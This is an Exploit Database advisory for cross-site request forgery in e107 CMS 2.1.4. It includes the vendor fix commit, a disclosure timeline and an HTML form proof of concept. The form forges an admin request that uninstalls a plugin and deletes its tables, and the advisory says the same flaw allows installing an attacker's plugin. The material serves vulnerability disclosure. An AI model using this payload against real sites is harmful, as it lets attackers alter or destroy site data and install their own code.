e107 CMS 2.1.4 – Cross-Site Request Forgery

• Exploit Database
• 34 阅读

• 作者： Zhiyang Zeng
  日期： 2017-04-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41844/

• <!--
  ==========================
  Title:Mutiple CSRF vulnerabilities in e107 CMS 2.1.4
  Author:Zhiyang Zeng
  
  Product:
  —————
  e107 is a powerful website content management system designed for bootstrap v3 from http://e107.org/get-started
  —————
  
  Fix
  —————
  Fixed in git source code https://github.com/e107inc/e107/commit/7a3e3d9fc7e05ce6941b9af1c14010bf2141f1a5
  —————
  
  Summary
  ————
  e107 CMS version 2.1.4 is vulnerable to cross-site request forgery in plugin-installing,meta-changingand settings-changing,a malicious web page can use
  forged requests to make e107 download and install a plug-in provided by the attacker.
  ————
  
  Timeline
  ———
  2017-03-01 report to vendor
  2017-03-02GitHub commit to fix token missing
  ———
  
   Reproduce:
  ==========
  I just give a uninstall any plugins POC.
  
  vul address:http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php
  
  POC:
  -->
  
  <form action="http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php?uninstall.8" method="post">
  <input type="text" name="delete_tables" value="1">
  <input type="text" name="delete_ipool" value="1">
  <input type="text" name="delete_files" value="0">
  <input type="text" name="uninstall_confirm" value="Confirm uninstall">
  <input type="submit" name="submit">
  </form>
  
  <!--
  Description:
  I try to uninstall plugingallery which id is 8.
  
  visiting beyond POC page, you will find gallery plugin has been uninstalled success!
  ===========
  -->